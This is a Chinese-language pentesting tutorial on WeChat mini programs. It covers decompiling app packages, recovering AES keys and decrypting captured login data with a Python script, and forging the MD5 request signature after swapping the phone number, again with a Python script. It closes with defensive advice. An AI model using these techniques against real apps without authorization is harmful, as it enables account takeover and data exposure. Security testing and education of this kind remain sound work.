反编译小程序、数据加密解密、sign值绕过
字数 1387 2025-08-29 22:41:10
小程序渗透测试:反编译、数据解密与sign绕过技术详解
一、前言
本文详细记录了一次针对微信小程序的渗透测试过程,涵盖小程序反编译、AES数据解密和sign值绕过等关键技术点。通过本教程,您将学习到如何对加密的小程序进行安全测试。
二、小程序反编译技术
2.1 获取小程序包文件
-
定位小程序存储目录:
- 路径:
C:\Users\xxx\Documents\WeChat Files\Applet - 建议测试时只保留目标小程序相关目录,避免混淆
- 路径:
-
获取__APP__.wxapkg文件:
- 在小程序目录下查找此文件,这是小程序的包文件
2.2 解密与反编译工具链
-
使用UnpackMiniApp.exe解密:
- 输入:原始__APP__.wxapkg文件
- 输出:解密后的wxapkg文件
-
使用wxapkgconvertor.exe反编译:
- 将解密后的wxapkg文件拖入此工具
- 输出:生成包含源码的文件夹
-
使用微信开发者工具查看源码:
- 打开生成的文件夹,分析小程序逻辑
三、AES数据解密分析
3.1 定位加密函数
- 全局搜索"AES"关键字
- 查找解密函数(通常命名为decryptByAes等)
3.2 解密函数分析
典型的AES解密函数特征:
- 使用CBC模式
- PKCS7填充
- 需要三个参数:
- 密文(encryptedData)
- 密钥(sessionKey)
- 初始化向量(iv)
3.3 密钥获取方式
- 硬编码密钥:直接在源码中查找
- 动态生成密钥:分析密钥生成逻辑
3.4 Python解密脚本示例
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64
def decrypt_aes(encrypted_data, session_key, iv):
# Base64解码
encrypted_data = base64.b64decode(encrypted_data)
session_key = base64.b64decode(session_key)
iv = base64.b64decode(iv)
# 创建AES解密器
cipher = AES.new(session_key, AES.MODE_CBC, iv)
# 解密并去除填充
decrypted = unpad(cipher.decrypt(encrypted_data), AES.block_size)
return decrypted.decode('utf-8')
# 示例使用
encrypted_data = "..." # 抓取的加密数据
session_key = "..." # 获取的session_key
iv = "..." # 获取的iv值
plaintext = decrypt_aes(encrypted_data, session_key, iv)
print(plaintext)
四、sign值绕过技术
4.1 sign值校验原理
- 通常为MD5哈希值
- 由请求参数按特定规则组合后哈希生成
- 用于防止参数篡改
4.2 分析sign生成逻辑
-
定位sign生成函数:
- 全局搜索"sign"或"setsigntrue"等关键字
- 常见函数特征:接收多个参数,返回MD5值
-
典型sign生成流程:
function setsigntrue(t, n = {}, r = "", a = "") { // 1. 合并参数 let s = Object.assign({}, t, n); // 2. 按键名排序 s = objKeySort(s); // 3. 拼接键值对 let i = ""; for(let key in s) { i += `${key}=${s[key]}`; } // 4. 添加额外字符串 i += r + a; // 5. MD5哈希并转大写 return md5(i).toUpperCase(); }
4.3 构造sign绕过步骤
- 修改目标参数(如手机号)
- 按照原始sign生成规则重新计算sign
- 替换请求中的sign值
4.4 Python sign生成脚本示例
import hashlib
def generate_sign(params, extra_params={}, r="", a=""):
# 合并参数
merged = {**params, **extra_params}
# 按键名排序
sorted_keys = sorted(merged.keys())
sorted_params = {k: merged[k] for k in sorted_keys}
# 拼接键值对
sign_str = ""
for k, v in sorted_params.items():
sign_str += f"{k}={v}"
# 添加额外字符串
sign_str += r + a
# MD5哈希并转大写
return hashlib.md5(sign_str.encode()).hexdigest().upper()
# 示例使用
original_params = {
"phone": "13800138000",
"timestamp": "1234567890"
}
# 修改手机号
modified_params = original_params.copy()
modified_params["phone"] = "任意手机号"
# 生成新sign
new_sign = generate_sign(modified_params, r="固定值", a="固定值")
print(new_sign)
五、完整渗透测试流程
-
抓取登录数据包
- 使用抓包工具获取加密的登录请求
- 记录所有参数,特别是encryptedData、sessionKey、iv和sign
-
解密数据
- 使用获取的sessionKey和iv解密encryptedData
- 验证解密结果是否包含敏感信息(如手机号)
-
修改参数
- 修改目标参数(如改为任意手机号)
- 重新加密修改后的数据(如果需要)
-
重新计算sign
- 分析原始sign生成规则
- 按照相同规则计算新sign值
-
构造并发送恶意请求
- 替换原始请求中的参数和sign值
- 验证是否绕过校验
六、防御建议
-
针对反编译:
- 使用代码混淆技术
- 核心逻辑放在服务端
- 定期更新包结构
-
针对数据加密:
- 避免硬编码密钥
- 使用动态密钥生成方案
- 定期更换密钥
-
针对sign绕过:
- 增加时效性校验(timestamp+nonce)
- 使用更复杂的签名算法(如HMAC-SHA256)
- 关键操作增加二次验证
七、总结
本教程详细介绍了微信小程序渗透测试的三个关键技术点:反编译获取源码、分析解密加密数据、绕过sign校验。掌握这些技术有助于全面评估小程序的安全性,同时也提醒开发者加强安全防护措施。